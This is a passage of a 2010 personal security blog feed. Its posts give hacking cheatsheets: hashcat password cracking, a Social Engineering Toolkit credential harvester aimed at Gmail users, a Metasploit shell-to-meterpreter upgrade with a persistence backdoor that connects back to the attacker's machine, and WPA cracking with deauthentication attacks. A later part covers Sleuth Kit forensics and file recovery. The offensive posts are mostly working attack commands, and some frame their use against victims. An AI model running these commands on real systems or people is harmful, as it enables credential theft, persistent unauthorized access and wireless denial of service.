wordlist:&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="color:#FF0000;"&gt;# ./hashcat-cli.bin -a 0 -m 100 hashes.txt wordlist.lst&lt;/span&gt; &lt;span class="Apple-style-span"  style="color:#FF6600;"&gt;//crack sha1 hashes in hashes.txt&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;To perform a bruteforce attack for the MD5 hash:&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="color:#FF0000;"&gt;# ./hashcat-cli-bin -a 3 -m 0 --bf-pw-max=4 hash.txt &lt;/span&gt;&lt;span class="Apple-style-span"  style="color:#FF6600;"&gt;//bruteforce the md5 hashes in hash.txt with a password length max of 4&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="color:#FF0000;"&gt;# ./hashcat-cli.bin -h &lt;/span&gt;&lt;span class="Apple-style-span"  style="color:#FF6600;"&gt;//for more help and options&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="color:#33FFFF;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span class="Apple-style-span"  style="color:#FF6600;"&gt;&lt;span&gt;&lt;span&gt;Resources / Good Reading:&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="color:#33FFFF;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="color:#33FFFF;"&gt;http://hashcat.net&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;a href="https://contest.korelogic.com/team_hashcat.html"&gt;&lt;span class="Apple-style-span"  style="color:#33FFFF;"&gt;https://contest.korelogic.com/team_hashcat.html&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5979048552011395433-4331762613849128554?l=aerokid240.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aerokid240.blogspot.com/feeds/4331762613849128554/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://aerokid240.blogspot.com/2010/08/hashcat.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/4331762613849128554'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/4331762613849128554'/><link rel='alternate' type='text/html' href='http://aerokid240.blogspot.com/2010/08/hashcat.html' title='Hashcat'/><author><name>aerokid240</name><uri>http://www.blogger.com/profile/14269542820984174220</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5979048552011395433.post-8739205094006658698</id><published>2010-07-11T16:56:00.000-07:00</published><updated>2010-07-12T08:39:35.286-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='SET'/><title type='text'>Demo-ing the power of SET (Social Engineering Toolkit) framework</title><content type='html'>Social Engineering Toolkit Demo **part 1** ....&lt;br /&gt;&lt;br /&gt;This demo will show you how you can easily gain user credentials (username and passwords) from popular social websites, in our example today, www.gmail.com&lt;br /&gt;&lt;br /&gt;The steps involved as outlined in my video are simple to follow&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;1. launch SET framework and make the necessary selections for th etype of attack that you're tryna accomplish&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;2. Goto the victim machine and browse to the attackers IP (or more realistically, you can force a user to come to you when they attempt to goto gmail.com themselves with a combination of arp poisoning and dns spoofing)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;3. On attackers machine analyze results and see what information was obtained&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;object height="300" width="400"&gt;&lt;param name="allowfullscreen" value="true"&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;param name="movie" value="http://vimeo.com/moogaloop.swf?clip_id=13268153&amp;amp;server=vimeo.com&amp;amp;show_title=1&amp;amp;show_byline=1&amp;amp;show_portrait=0&amp;amp;color=&amp;amp;fullscreen=1"&gt;&lt;embed src="http://vimeo.com/moogaloop.swf?clip_id=13268153&amp;amp;server=vimeo.com&amp;amp;show_title=1&amp;amp;show_byline=1&amp;amp;show_portrait=0&amp;amp;color=&amp;amp;fullscreen=1" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always" height="300" width="400"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;p&gt;&lt;a href="http://vimeo.com/13268153"&gt;Social Engineering Toolkit Demo (Credential Harvester)&lt;/a&gt; from &lt;a href="http://vimeo.com/aerokid240"&gt;aerokid240&lt;/a&gt; on &lt;a href="http://vimeo.com/"&gt;Vimeo&lt;/a&gt;.&lt;/p&gt;&lt;br /&gt;Social Engineering Toolkit Demo **part 2** ....&lt;br /&gt;&lt;br /&gt;This demo will show you how you can combine the use of self signed java applets and payloads to gain remote access of a system.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Note&lt;/span&gt;: &lt;span style="color: rgb(255, 102, 0);"&gt;User must accept or run the java applet in order for this to work which 98% of users do anyways.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;object height="300" width="400"&gt;&lt;param name="allowfullscreen" value="true"&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;param name="movie" value="http://vimeo.com/moogaloop.swf?clip_id=13270262&amp;amp;server=vimeo.com&amp;amp;show_title=1&amp;amp;show_byline=1&amp;amp;show_portrait=0&amp;amp;color=&amp;amp;fullscreen=1"&gt;&lt;embed src="http://vimeo.com/moogaloop.swf?clip_id=13270262&amp;amp;server=vimeo.com&amp;amp;show_title=1&amp;amp;show_byline=1&amp;amp;show_portrait=0&amp;amp;color=&amp;amp;fullscreen=1" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always" height="300" width="400"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;p&gt;&lt;a href="http://vimeo.com/13270262"&gt;Social Engineering Toolkit (java applet)&lt;/a&gt; from &lt;a href="http://vimeo.com/aerokid240"&gt;aerokid240&lt;/a&gt; on &lt;a href="http://vimeo.com/"&gt;Vimeo&lt;/a&gt;.&lt;/p&gt;&lt;br /&gt;Resources/Good Reading:&lt;br /&gt;&lt;span style="color: rgb(51, 204, 255);"&gt;http://www.secmaniac.com/&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 255);"&gt;http://www.offensive-security.com/metasploit-unleashed/Social-Engineering-Toolkit&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5979048552011395433-8739205094006658698?l=aerokid240.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aerokid240.blogspot.com/feeds/8739205094006658698/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://aerokid240.blogspot.com/2010/07/demo-of-set-social-engineering-toolkit.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/8739205094006658698'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/8739205094006658698'/><link rel='alternate' type='text/html' href='http://aerokid240.blogspot.com/2010/07/demo-of-set-social-engineering-toolkit.html' title='Demo-ing the power of SET (Social Engineering Toolkit) framework'/><author><name>aerokid240</name><uri>http://www.blogger.com/profile/14269542820984174220</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5979048552011395433.post-2976983917931770740</id><published>2010-06-17T07:29:00.000-07:00</published><updated>2010-06-17T09:18:26.178-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='meterpreter'/><title type='text'>Upgrading from shell to meterpreter and then adding persistence</title><content type='html'>Say you compromised a box and installed a backdoor that provides you with shell acess. You connect to the backdoor listener and would like to do alot more than what the windows command prompt will allow you to do. Like most of us, we will want access to the meterpreter ("Google meterpreter if you don't have a clue what it is"). We can perform an upgrade on our regular shell to a meterpreter session using metasploit.&lt;br /&gt;&lt;br /&gt;you can follow the examples on:&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;http://pauldotcom.com/2010/04/using-meterpreter-to-control-n.html&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Just a quick summary.&lt;br /&gt;After you connect to the listener on victim machine:&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;[ctrl z]&lt;/span&gt; to background the session&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;# setg LHOST ip_addr &lt;span style="color: rgb(51, 255, 255);"&gt;//this the ip of machine of the attacker with metasploit&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;# setg LPORT port_num &lt;span style="color: rgb(51, 255, 255);"&gt;//set port num to use for the upgraded session&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;# session -u 1 &lt;span style="color: rgb(51, 255, 255);"&gt;//where one is the session number of the regular shell session&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;IMPORTANT:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;I've only gotten this working when the victim machine had the backdoor or service waiting for shell connections, meaning that when i compromised the box, i used a bind_shell payload or the victim had some kind of listener that would give you shell access when connected like netcat. I could not get this working when using a reverse_tcp shell payload initially.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;When you have a meterpreter session, to add a persistent reverse connecting meterpreter client you can use the "persistence" script with options as follows:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;meterpreter&gt; run persistence -A -i 5 -p 4444 -r 192.168.1.53&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;'-A'&lt;/span&gt; : Automatically starts a mtaching multi/handler to connect listen for incoming connections&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;'-i'&lt;/span&gt; : Interval in seconds between each connection attempt&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;'-p'&lt;/span&gt; : port on the remote host where metasploit is listening&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;'-r'&lt;/span&gt; :IP of the system running the metasploit listener&lt;br /&gt;&lt;br /&gt;if you opted to not use the '-A' option, you can always start up the multi/handler manually&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;# msfcli multi/handler payload=windows/meterpreter/reverse_tcp lport=4444 lhost=192.168.1.53 E&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;I've had one instance where when i got the reverse meterpreter session connected then disconnected, it refused to automatically connect again. I really had no answer for that problem at the time but what worked for me is that i had to migrate to a process with system priveledges (like explorer.exe) then disconnect. The script then was continually sending its reversing connections as it should back to my metasploit box.&lt;br /&gt;&lt;br /&gt;Resources / Good Reading:&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;http://www.darkoperator.com/&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;http://pauldotcom.com/2010/04/using-meterpreter-to-control-n.html&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5979048552011395433-2976983917931770740?l=aerokid240.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aerokid240.blogspot.com/feeds/2976983917931770740/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://aerokid240.blogspot.com/2010/06/upgrading-from-shell-to-meterpreter-and.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/2976983917931770740'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/2976983917931770740'/><link rel='alternate' type='text/html' href='http://aerokid240.blogspot.com/2010/06/upgrading-from-shell-to-meterpreter-and.html' title='Upgrading from shell to meterpreter and then adding persistence'/><author><name>aerokid240</name><uri>http://www.blogger.com/profile/14269542820984174220</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5979048552011395433.post-5697140042748350833</id><published>2010-06-01T08:02:00.000-07:00</published><updated>2010-06-01T08:21:05.602-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='aircrack-ng'/><category scheme='http://www.blogger.com/atom/ns#' term='Cowpatty'/><title type='text'>WPA/WPA2 PSK cracking quick reference</title><content type='html'>There are too many guides and resources out there to doing this stuff so i wont be giving much explanation and theory on WPA hacking. Remember, this should only be performed on networks that you have permission to audit the security of. This here will serve as a quick and dirty cheatsheet of commands necessary to potentially audit the strength/weakness of your wireless networks using the aircrack-ng or cowpatty to bruteforce the password using a wordlist.&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;br /&gt;# airmon-ng start wlan0&lt;/span&gt; // put interface in monitor mode&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;# airodump-ng mon0&lt;/span&gt; // scan air for targets&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;# airodump-ng --channel 1 --bssid "AP_MAC_addr" -w wpa.cap mon0&lt;/span&gt; //filter capture packets from a specific AP's MAC address and channel&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;#aireplay-ng --deauth 5 -a "AP_MAC_addr" -c "Client_MAC_addr" mon0&lt;/span&gt; //Perform a deauthentication attack on a client to force reassociation in hope of capturing WPA handshake&lt;br /&gt;&lt;br /&gt;When Handshake is captured&lt;br /&gt;&lt;br /&gt;using cowpatty:&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;# cowpatty -f passwords.lst -r wpa.cap -s "essid_of_network"&lt;/span&gt; //attempt to bruteforce the password using wordlist&lt;br /&gt;&lt;br /&gt;using aircrack-ng:&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;# aircrack-ng -w passwords.lst -e "essid_of_network" wpa.cap&lt;/span&gt; //attempt to bruteforce the password using wordlist&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5979048552011395433-5697140042748350833?l=aerokid240.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aerokid240.blogspot.com/feeds/5697140042748350833/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://aerokid240.blogspot.com/2010/06/wpawpa2-psk-cracking-quick-reference.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/5697140042748350833'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/5697140042748350833'/><link rel='alternate' type='text/html' href='http://aerokid240.blogspot.com/2010/06/wpawpa2-psk-cracking-quick-reference.html' title='WPA/WPA2 PSK cracking quick reference'/><author><name>aerokid240</name><uri>http://www.blogger.com/profile/14269542820984174220</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5979048552011395433.post-5172483037737302678</id><published>2010-05-27T17:26:00.000-07:00</published><updated>2010-05-27T18:01:31.218-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='aireplay-ng'/><category scheme='http://www.blogger.com/atom/ns#' term='aircrack-ng'/><title type='text'>Forcefully disconnect a wireless client</title><content type='html'>Is it possible to disconnect a wireless client connected to a highly encrypted wireless network? Uhh, apparently yes. I been messing around with the aircrack-ng suite of tools (again) recently and decided to dive deeper into its capabilities. In a past blog, i wrote briefly about aircrack-ng and cracking WEP keys. I didn't speak in depth about its features then but would like to add just a little bit more. This time i'll be showing some commands that i've used to disconnect one of my wireless laptops, using a netbook that wasn't even autheneticated or connected to my wireless router. What this means is that any user can do a drive by in his automobile and forcefully cause me to disconnect from my wireless router, and cause a denial of service. This denial of service is for a brief period in time as the wireless clients may automatically try to reconnect to their wireless systems.&lt;br /&gt;&lt;br /&gt;First turn your wireless card into monitor mode:&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;# airmon-ng start wlan0&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Then scan the air for wireless AP's and clients&lt;br /&gt;&lt;span style="color: rgb(204, 0, 0);"&gt;# airodump-ng mon0&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;When you found a an access point that has a client connected, you can filter your scan. This also sets the interface to operate on that particular channel for injecting packets:&lt;br /&gt;&lt;span style="color: rgb(204, 0, 0);"&gt;# airodump-ng --channel 9 -b aa:aa:aa:aa:aa:aa mon0&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;And finally, the injection of death frames&lt;br /&gt;&lt;span style="color: rgb(204, 0, 0);"&gt;#aireplay-ng -a aa:aa:aa:aa:aa:aa -c bb:bb:bb:bb:bb:bb --deauth 1 mon0&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;'&lt;/span&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;-a'&lt;/span&gt; represents the MAC address of the target access point&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;'-c'&lt;/span&gt; represents the MAC address of the target host&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5979048552011395433-5172483037737302678?l=aerokid240.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aerokid240.blogspot.com/feeds/5172483037737302678/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://aerokid240.blogspot.com/2010/05/disconnecting-wireless-clients.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/5172483037737302678'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/5172483037737302678'/><link rel='alternate' type='text/html' href='http://aerokid240.blogspot.com/2010/05/disconnecting-wireless-clients.html' title='Forcefully disconnect a wireless client'/><author><name>aerokid240</name><uri>http://www.blogger.com/profile/14269542820984174220</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5979048552011395433.post-2044290855332592188</id><published>2010-05-18T07:39:00.000-07:00</published><updated>2010-05-18T10:38:06.410-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='forensics'/><category scheme='http://www.blogger.com/atom/ns#' term='The Sleuth Kit'/><title type='text'>Quick Hands on with TSK (The Sleuth Kit)</title><content type='html'>The Sleuth Kit can be characterized as a suite of command line tools that aid in disk image analysis and recovery. It is a free unix package and can be obtained from www.sleuthkit.org. This tool is more in the category of forensics  and can aid in uncovering many files and clues etc. Remember, Like any tool, to get the most out of it is dependent on the knowledge and experience of the user to the tool itself.&lt;br /&gt;&lt;br /&gt;I wont speak anymore onthe sleuthkit, but rather dive into some of its tools and commands. You can read up more on the suite at www.sleuthkit.org. There is also a nice Web front end to this suite called Autopsy that i may blog about later.&lt;br /&gt;&lt;br /&gt;The following examples presumes you already have a disk image, in my case, ill beusing "disk.img". For more options for each program you can type "&lt;span style="color: rgb(255, 102, 0);"&gt;man program_name&lt;/span&gt;" for its man page or "&lt;span style="color: rgb(255, 102, 0);"&gt;program_name -h&lt;/span&gt;" for a brief help page on the program's options&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;# fsstat disk.img&lt;/span&gt; &lt;span style="color: rgb(51, 255, 255);"&gt;//Displays details of the filesystem contained in the disk image 'disk.img'&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;fsstat can give you info such as :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;the  filesytem type (fat16/32, ntfs etc.)&lt;/li&gt;&lt;li&gt;Number of reserverd sectors&lt;/li&gt;&lt;li&gt;Sectors contained withing each fat table and their offset (in sectors)&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Root directory offset (in sectors)&lt;/li&gt;&lt;li&gt;Sector and cluster sizes&lt;/li&gt;&lt;/ul&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;# fls disk.img&lt;/span&gt; &lt;span style="color: rgb(51, 255, 255);"&gt;// Lists the files and directory names in disk.img. By default, it will display the file names of recently deleted files as well.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;# fls -d disk.img&lt;/span&gt; &lt;span style="color: rgb(51, 255, 255);"&gt;//lists ONLY the recently deleted file entries&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The fls program will give you the repective inode numbers for each directory/file entry.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;# ils -e disk.img&lt;/span&gt; &lt;span style="color: rgb(51, 255, 255);"&gt;// will list the inode information for every inode. If you remove the '-e' option, by default the program will list inode information for only removed/deleted files. The output information is not human friendly but it can be piped to the mactime program for better analysis&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;# icat disk.img 5&lt;/span&gt; &lt;span style="color: rgb(51, 255, 255);"&gt;// copies the data occupied by inode 5 in disk.img. You can use the output of the fls program to obtain these inode number to choose from.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;# icat -r disk.img 5&lt;/span&gt; &lt;span style="color: rgb(51, 255, 255);"&gt;// the '-r' option allows for file recovery techniques to recover the file pointed to by inode 5. This option is only useful with deleted inode entries.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;# istat disk.img 5&lt;/span&gt; &lt;span style="color: rgb(51, 255, 255);"&gt;// Displays the details of the meta-data for inode 5. Details include file size, name, Written, accessed and created time, starting sector and sectors that the inode entry (5) occupies&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;# ifind -n "test.jpg" disk.img&lt;/span&gt; &lt;span style="color: rgb(51, 255, 255);"&gt;// searches for test.jpg then if found, returns the respective inode number&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;# ifind -d 536 disk.img&lt;/span&gt; &lt;span style="color: rgb(51, 255, 255);"&gt;// finds the relative inode number given the respective sector num (536 in this case) &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;# dls disk.img&lt;/span&gt; &lt;span style="color: rgb(51, 255, 255);"&gt;// By default dls copies the data from unallocated blocks only. Add the&lt;/span&gt; &lt;span style="color: rgb(255, 102, 0);"&gt;'-e'&lt;/span&gt; &lt;span style="color: rgb(51, 255, 255);"&gt;option and dls would copy every block, with the output being similar to the dd program&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;# dcat disk.img 12 &lt;/span&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;//will display the contenst of sector #12&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;# sigfind 424d disk.img&lt;/span&gt; &lt;span style="color: rgb(51, 255, 255);"&gt;//searches for the magic bytes '424d'(typical for BMP files) throughout the disk image disk.img and return the sector offsets of the hits.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;br /&gt;# sigfind -l 4d42 disk.img&lt;/span&gt; &lt;span style="color: rgb(51, 255, 255);"&gt;// This command will parse throught the entire disk image looking for the magic bytes of "424d" and return the sector offset of the result. The&lt;/span&gt; &lt;span style="color: rgb(255, 102, 0);"&gt;'-l'&lt;/span&gt; &lt;span style="color: rgb(51, 255, 255);"&gt;options means takes the magic bytes to search for in little indian format and must therefore be reversed, hence in our example,&lt;/span&gt; &lt;span style="color: rgb(255, 102, 0);"&gt;-l 4d42.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;One common task of a forensic examiner is to perform keyword searches throughout a disk image. You can use the strings command to create an index of all the string characters found withing the image.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;# strings -t d disk.img&lt;/span&gt; &lt;span style="color: rgb(255, 0, 0);"&gt;&gt; index.lst&lt;/span&gt; &lt;span style="color: rgb(51, 255, 255);"&gt;// The &lt;span style="color: rgb(255, 102, 0);"&gt;'-t d'&lt;/span&gt; option displays the offset in decimal in which strings can be located or referenced to.&lt;/span&gt; &lt;span style="color: rgb(51, 255, 255);"&gt;You can then use the grep program to parse the strings.lst file for text.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;# grep -f kewords.txt index.lst&lt;/span&gt;  &lt;span style="color: rgb(51, 255, 255);"&gt;//keywords.txt can be a simple file with keywords like "pass", "password", "confidential", "Credit card", "username", "login", etc. with each word being on a line by itself.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;To get information regarding file activity you can issue the following command&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;# fls -m "/" disk.img | mactime -b&lt;/span&gt; &lt;span style="color: rgb(51, 255, 255);"&gt;// The output of this command will create an ASCII time line of file activity&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The above can also be accomplished with:&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;# ils -m -e disk.img | mactime -b&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Resources/Good Reading:&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;www.sleuthkit.org&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5979048552011395433-2044290855332592188?l=aerokid240.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aerokid240.blogspot.com/feeds/2044290855332592188/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://aerokid240.blogspot.com/2010/05/quick-hands-on-with-tsk-sleuth-kit.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/2044290855332592188'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/2044290855332592188'/><link rel='alternate' type='text/html' href='http://aerokid240.blogspot.com/2010/05/quick-hands-on-with-tsk-sleuth-kit.html' title='Quick Hands on with TSK (The Sleuth Kit)'/><author><name>aerokid240</name><uri>http://www.blogger.com/profile/14269542820984174220</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5979048552011395433.post-4047678413718708226</id><published>2010-05-12T05:18:00.000-07:00</published><updated>2010-05-12T06:09:39.234-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='file recovery'/><category scheme='http://www.blogger.com/atom/ns#' term='forensics'/><category scheme='http://www.blogger.com/atom/ns#' term='photorec'/><category scheme='http://www.blogger.com/atom/ns#' term='fatback'/><category scheme='http://www.blogger.com/atom/ns#' term='testdisk'/><title type='text'>Data recovery with Fatback and photorec</title><content type='html'>&lt;span style="color: rgb(255, 102, 0);"&gt;Fatback&lt;/span&gt; is a simple utility used mainly to aid in filerecover from fat16/32 drive types. It is able to give you relevant information including a list of all the files on a drive, including deleted files (Deleted files found within the root directory structure), the starting cluster number of each file, the cluster chain of each file (not applicable to deleted files) and the individual file sizes. It gives you the option to recover files from the clusters that the file occupies (deleted files will not show cluster chains)which makes the tool only relevant for recovery of files from drives that fail to mount or contain multiple bad sectors. Therefore this will not be the tool of choice to recover deleted files, although it does give you enough information to make it possible to manually recover them.&lt;br /&gt;&lt;br /&gt;Its usage is very simple:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;    fatback  